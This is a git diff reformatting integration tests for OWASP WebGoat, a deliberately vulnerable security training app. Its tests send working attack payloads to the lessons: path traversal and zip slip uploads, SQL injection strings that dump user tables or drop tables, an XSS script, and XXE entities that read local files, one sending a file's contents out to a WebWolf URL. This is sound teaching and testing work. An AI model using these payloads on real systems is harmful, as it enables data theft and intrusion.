  private void clickForgotEmailLink(String user) {
    RestAssured.given()
        .when()
-                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
+        .header(HttpHeaders.HOST, String.format("%s:%s", getWebWolfHost(), getWebWolfPort()))
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", getWebGoatCookie())
        .formParams("email", user)
--- a/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java
@ -1,16 +1,8 @@
 package org.owasp.webgoat;

-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.junit.jupiter.api.io.TempDir;
-import org.springframework.security.core.token.Sha512DigestUtils;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;

+import io.restassured.RestAssured;
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@ -21,13 +13,19 @@ import java.util.Arrays;
 import java.util.Map;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipOutputStream;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;

 class PathTraversalIT extends IntegrationTest {

-    @TempDir
-    Path tempDir;
+  @TempDir Path tempDir;

  private File fileToUpload = null;

@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-                dynamicTest("assignment 5 - zip slip", () -> assignment5())
-        );
+        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
  }

  private void assignment1() throws IOException {
@ -58,10 +55,12 @@ class PathTraversalIT extends IntegrationTest {
            .cookie("JSESSIONID", getWebGoatCookie())
            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
            .param("fullName", "../John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload"))
+            .post(url("PathTraversal/profile-upload"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void assignment2() throws IOException {
@ -72,10 +71,12 @@ class PathTraversalIT extends IntegrationTest {
            .cookie("JSESSIONID", getWebGoatCookie())
            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
            .param("fullNameFix", "..././John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
+            .post(url("PathTraversal/profile-upload-fix"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void assignment3() throws IOException {
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
+            .multiPart(
+                "uploadedFileRemoveUserInput",
+                "../test.jpg",
+                Files.readAllBytes(fileToUpload.toPath()))
+            .post(url("PathTraversal/profile-upload-remove-user-input"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  private void assignment4() throws IOException {
-        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-        RestAssured.given().urlEncodingEnabled(false)
+    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+    RestAssured.given()
+        .urlEncodingEnabled(false)
        .when()
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", getWebGoatCookie())
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
        .statusCode(200)
        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));

-        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
-                Sha512DigestUtils.shaHex(this.getUser())), true);
+    checkAssignment(
+        url("PathTraversal/random"),
+        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
+        true);
  }

  private void assignment5() throws IOException {
    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
+    webGoatHome =
+        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows

    var webGoatDirectory = new File(webGoatHome);
    var zipFile = new File(tempDir.toFile(), "upload.zip");
@ -123,15 +133,20 @@ class PathTraversalIT extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-                        .post(url("/WebGoat/PathTraversal/zip-slip"))
+            .post(url("PathTraversal/zip-slip"))
            .then()
+            .log()
+            .all()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }

  @AfterEach
  void shutdown() {
-        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
    checkResults("/PathTraversal");
  }
 }
--- a/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java
@ -2,10 +2,6 @@ package org.owasp.webgoat;

 import io.restassured.RestAssured;
 import io.restassured.response.Response;
-
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;

 public class ProgressRaceConditionIntegrationTest extends IntegrationTest {

@ -23,22 +21,26 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
    int NUMBER_OF_PARALLEL_THREADS = 5;
    startLesson("Challenge1");

-        Callable<Response> call = () -> {
+    Callable<Response> call =
+        () -> {
          // System.out.println("thread "+Thread.currentThread().getName());
          return RestAssured.given()
              .when()
              .relaxedHTTPSValidation()
              .cookie("JSESSIONID", getWebGoatCookie())
              .formParams(Map.of("flag", "test"))
-                        .post(url("/challenge/flag/"));
-
+              .post(url("challenge/flag"));
        };
-        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
-        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
+    List<? extends Callable<Response>> flagCalls =
+        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
    var responses = executorService.invokeAll(flagCalls);

    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
-        long countStatusCode500 = responses.stream().filter(r -> {
+    long countStatusCode500 =
+        responses.stream()
+            .filter(
+                r -> {
                  try {
                    // System.err.println(r.get().getStatusCode());
                    return r.get().getStatusCode() != 200;
@ -46,8 +48,10 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
                    // System.err.println(e);
                    throw new IllegalStateException(e);
                  }
-        }).count();
+                })
+            .count();
    System.err.println("counted status 500: " + countStatusCode500);
-        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
+    Assertions.assertThat(countStatusCode500)
+        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
  }
 }
--- a/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java
@ -3,7 +3,6 @@ package org.owasp.webgoat;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

 public class SSRFIntegrationTest extends IntegrationTest {
@ -16,15 +15,12 @@ public class SSRFIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("url", "images/jerry.png");

-        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
+    checkAssignment(url("SSRF/task1"), params, true);
    params.clear();
    params.put("url", "http://ifconfig.pro");

-        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
+    checkAssignment(url("SSRF/task2"), params, true);

    checkResults("/SSRF/");
-    
  }
-    
-    
 }
--- a/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java
@ -24,24 +24,22 @@
 package org.owasp.webgoat;

 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

 /**
- *
 * @author Angel Olle Blazquez
- *
 */
-
 class SessionManagementIT extends IntegrationTest {

-    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
-
+  private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";

  @Test
  void hijackSessionTest() {
    startLesson("HijackSession");

-        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
+    checkAssignment(
+        url(HIJACK_LOGIN_CONTEXT_PATH),
+        Map.of("username", "webgoat", "password", "webgoat"),
+        false);
  }
 }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java
@ -2,7 +2,6 @@ package org.owasp.webgoat;

 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

 public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@ -17,32 +16,45 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
    params.put("password_reg", "password");
    params.put("email_reg", "someone@microsoft.com");
    params.put("confirm_password", "password");
-        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
+    checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true);

    params.clear();
    params.put("username_login", "tom");
    params.put("password_login", "thisisasecretfortomonly");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true);

    params.clear();
    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);

    params.clear();
-        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+    params.put(
+        "userid_6a",
+        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+            + " user_system_data --");
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);

    params.clear();
    params.put("userid_6b", "passW0rD");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true);

    params.clear();
-        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
+    params.put(
+        "question_0_solution",
+        "Solution 4: A statement has got values instead of a prepared statement");
    params.put("question_1_solution", "Solution 3: ?");
-        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
-        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
-        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
+    params.put(
+        "question_2_solution",
+        "Solution 2: Prepared statements are compiled once by the database management system"
+            + " waiting for input and are pre-compiled this way.");
+    params.put(
+        "question_3_solution",
+        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+            + " resulting in a seperation of code and data.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+    checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true);

    checkResults("/SqlInjectionAdvanced/");
  }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java
@ -2,13 +2,13 @@ package org.owasp.webgoat;

 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

 public class SqlInjectionLessonIntegrationTest extends IntegrationTest {

  public static final String sql_2 = "select department from employees where last_name='Franco'";
-    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
+  public static final String sql_3 =
+      "update employees set department='Sales' where last_name='Barnett'";
  public static final String sql_4_drop = "alter table employees drop column phone";
  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
  public static final String sql_11_b = "3SL99A'  or '1'='1";

  public static final String sql_12_a = "Smith";
-    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+  public static final String sql_12_b =
+      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";

  public static final String sql_13 = "%update% '; drop table access_log ; --'";

@ -33,46 +34,45 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("query", sql_2);
-        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
+    checkAssignment(url("SqlInjection/attack2"), params, true);

    params.clear();
    params.put("query", sql_3);
-        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
+    checkAssignment(url("SqlInjection/attack3"), params, true);

    params.clear();
    params.put("query", sql_4_add);
-        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
+    checkAssignment(url("SqlInjection/attack4"), params, true);

    params.clear();
    params.put("query", sql_5);
-        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
+    checkAssignment(url("SqlInjection/attack5"), params, true);

    params.clear();
    params.put("operator", sql_9_operator);
    params.put("account", sql_9_account);
    params.put("injection", sql_9_injection);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
+    checkAssignment(url("SqlInjection/assignment5a"), params, true);

    params.clear();
    params.put("login_count", sql_10_login_count);
    params.put("userid", sql_10_userid);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
+    checkAssignment(url("SqlInjection/assignment5b"), params, true);

    params.clear();
    params.put("name", sql_11_a);
    params.put("auth_tan", sql_11_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
+    checkAssignment(url("SqlInjection/attack8"), params, true);

    params.clear();
    params.put("name", sql_12_a);
    params.put("auth_tan", sql_12_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
+    checkAssignment(url("SqlInjection/attack9"), params, true);

    params.clear();
    params.put("action_string", sql_13);
-        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
+    checkAssignment(url("SqlInjection/attack10"), params, true);

    checkResults("/SqlInjection/");
-
  }
 }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java
@ -1,15 +1,13 @@
 package org.owasp.webgoat;

+import static org.hamcrest.CoreMatchers.containsString;
+
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

-import static org.hamcrest.CoreMatchers.containsString;
-
 public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {

  @Test
@ -25,45 +23,62 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
    params.put("field5", "?");
    params.put("field6", "prep.setString(1,\"\")");
    params.put("field7", "prep.setString(2,\\\"\\\")");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
+    checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true);

-        params.put("editor", "try {\r\n" +
-                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
-                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
-                "    prep.setString(1,\"me\");\r\n" +
-                "    prep.execute();\r\n" +
-                "    System.out.println(conn);   //should output 'null'\r\n" +
-                "} catch (Exception e) {\r\n" +
-                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
-                "}");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
+    params.put(
+        "editor",
+        "try {\r\n"
+            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+            + " = ?\");\r\n"
+            + "    prep.setString(1,\"me\");\r\n"
+            + "    prep.execute();\r\n"
+            + "    System.out.println(conn);   //should output 'null'\r\n"
+            + "} catch (Exception e) {\r\n"
+            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
+            + "}");
+    checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true);

    params.clear();
-        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
+    params.put(
+        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidation/attack"), params, true);

    params.clear();
-        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
+    params.put(
+        "userid_sql_only_input_validation_on_keywords",
+        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true);

    RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
        .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
+        .get(
+            url(
+                "SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+                    + " else id end)"))
        .then()
        .statusCode(200);

    RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
        .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
+        .get(url("SqlInjectionMitigations/servers?column=unknown"))
        .then()
        .statusCode(500)
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
+        .body(
+            "trace",
+            containsString(
+                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
+                    + " 'out of order' order by"));

    params.clear();
    params.put("ip", "104.130.219.202");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
+    checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true);

    checkResults();
  }
--- a/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java
@ -2,39 +2,42 @@ package org.owasp.webgoat;

 import static org.junit.jupiter.api.Assertions.assertTrue;

-import java.io.IOException;
+import io.restassured.RestAssured;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

-import io.restassured.RestAssured;
-
 public class WebWolfIntegrationTest extends IntegrationTest {

  @Test
-    public void runTests() throws IOException {
+  public void runTests() {
    startLesson("WebWolfIntroduction");

    // Assignment 3
    Map<String, Object> params = new HashMap<>();
-        params.clear();
    params.put("email", this.getUser() + "@webgoat.org");
-        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
+    checkAssignment(url("WebWolf/mail/send"), params, false);

-        String responseBody = RestAssured.given()
+    String responseBody =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
+            .get(webWolfUrl("mail"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();

    String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
+    uniqueCode =
+        uniqueCode.substring(
+            21 + uniqueCode.lastIndexOf("your unique code is: "),
+            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
    params.clear();
    params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
+    checkAssignment(url("WebWolf/mail"), params, true);

    // Assignment 4
    RestAssured.given()
@ -42,7 +45,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", getWebGoatCookie())
        .queryParams(params)
-                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
+        .get(url("WebWolf/landing/password-reset"))
        .then()
        .statusCode(200);
    RestAssured.given()
@ -50,23 +53,25 @@ public class WebWolfIntegrationTest extends IntegrationTest {
        .relaxedHTTPSValidation()
        .cookie("WEBWOLFSESSION", getWebWolfCookie())
        .queryParams(params)
-        .get(webWolfUrl("/landing"))                        
+        .get(webWolfUrl("landing"))
        .then()
        .statusCode(200);
-        responseBody = RestAssured.given()
+    responseBody =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
+            .get(webWolfUrl("requests"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();
    assertTrue(responseBody.contains(uniqueCode));
    params.clear();
    params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
+    checkAssignment(url("WebWolf/landing"), params, true);

    checkResults("/WebWolf");
-        
  }
-    
 }
--- a/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java
@ -1,15 +1,12 @@
 package org.owasp.webgoat;

 import io.restassured.RestAssured;
-
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;

 public class XSSIntegrationTest extends IntegrationTest {

-    
  @Test
  public void crossSiteScriptingAssignments() {
    startLesson("CrossSiteScripting");
@ -17,7 +14,7 @@ public class XSSIntegrationTest extends IntegrationTest {
    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("checkboxAttack1", "value");
-        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
+    checkAssignment(url("CrossSiteScripting/attack1"), params, true);

    params.clear();
    params.put("QTY1", "1");
@ -26,11 +23,11 @@ public class XSSIntegrationTest extends IntegrationTest {
    params.put("QTY4", "1");
    params.put("field1", "<script>alert('XSS+Test')</script>");
    params.put("field2", "111");
-        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
+    checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true);

    params.clear();
    params.put("DOMTestRoute", "start.mvc#test");
-        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
+    checkAssignment(url("CrossSiteScripting/attack6a"), params, true);

    params.clear();
    params.put("param1", "42");
@ -44,25 +41,76 @@ public class XSSIntegrationTest extends IntegrationTest {
            .header("webgoat-requested-by", "dom-xss-vuln")
            .header("X-Requested-With", "XMLHttpRequest")
            .formParams(params)
-                        .post(url("/CrossSiteScripting/phone-home-xss"))
+            .post(url("CrossSiteScripting/phone-home-xss"))
            .then()
            .statusCode(200)
-                        .extract().path("output");
+            .extract()
+            .path("output");
    String secretNumber = result.substring("phoneHome Response is ".length());

    params.clear();
    params.put("successMessage", secretNumber);
-        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
+    checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true);

    params.clear();
-        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
-        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
-        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
-        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
-        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
-        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+    params.put(
+        "question_0_solution",
+        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+            + " the browser does not know that the script is malicious.");
+    params.put(
+        "question_1_solution",
+        "Solution 3: The data is included in dynamic content that is sent to a web user without"
+            + " being validated for malicious content.");
+    params.put(
+        "question_2_solution",
+        "Solution 1: The script is permanently stored on the server and the victim gets the"
+            + " malicious script when requesting information from the server.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: They reflect the injected script off the web server. That occurs when input"
+            + " sent to the web server is part of the request.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+            + " the browser executes.");
+    checkAssignment(url("CrossSiteScripting/quiz"), params, true);

-        checkResults("/CrossSiteScripting/");
+    params.clear();
+    params.put(
+        "editor",
+        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+            + "<html>"
+            + "<head>"
+            + "<title>Using GET and POST Method to Read Form Data</title>"
+            + "</head>"
+            + "<body>"
+            + "<h1>Using POST Method to Read Form Data</h1>"
+            + "<table>"
+            + "<tbody>"
+            + "<tr>"
+            + "<td><b>First Name:</b></td>"
+            + "<td>${e:forHtml(param.first_name)}</td>"
+            + "</tr>"
+            + "<tr>"
+            + "<td><b>Last Name:</b></td>"
+            + "<td>${e:forHtml(param.last_name)}</td>"
+            + "</tr>"
+            + "</tbody>"
+            + "</table>"
+            + "</body>"
+            + "</html>");
+    checkAssignment(url("CrossSiteScripting/attack3"), params, true);

+    params.clear();
+    params.put(
+        "editor2",
+        "Policy.getInstance(\"antisamy-slashdot.xml\");"
+            + "Sammy s = new AntiSamy();"
+            + "s.scan(newComment,\"\");"
+            + "CleanResults();"
+            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
+    checkAssignment(url("CrossSiteScripting/attack4"), params, true);
+
+    checkResults("/CrossSiteScripting");
  }
 }
--- a/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java
@ -2,23 +2,30 @@ package org.owasp.webgoat;

 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import org.junit.jupiter.api.Test;
-
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
+import org.junit.jupiter.api.Test;

 public class XXEIntegrationTest extends IntegrationTest {

-    private static final String xxe3 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String xxe4 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String dtd7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
-    private static final String xxe7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
+  private static final String xxe3 =
+      """
+      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+      """;
+  private static final String xxe4 =
+      """
+     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+     """;
+  private static final String dtd7 =
+      """
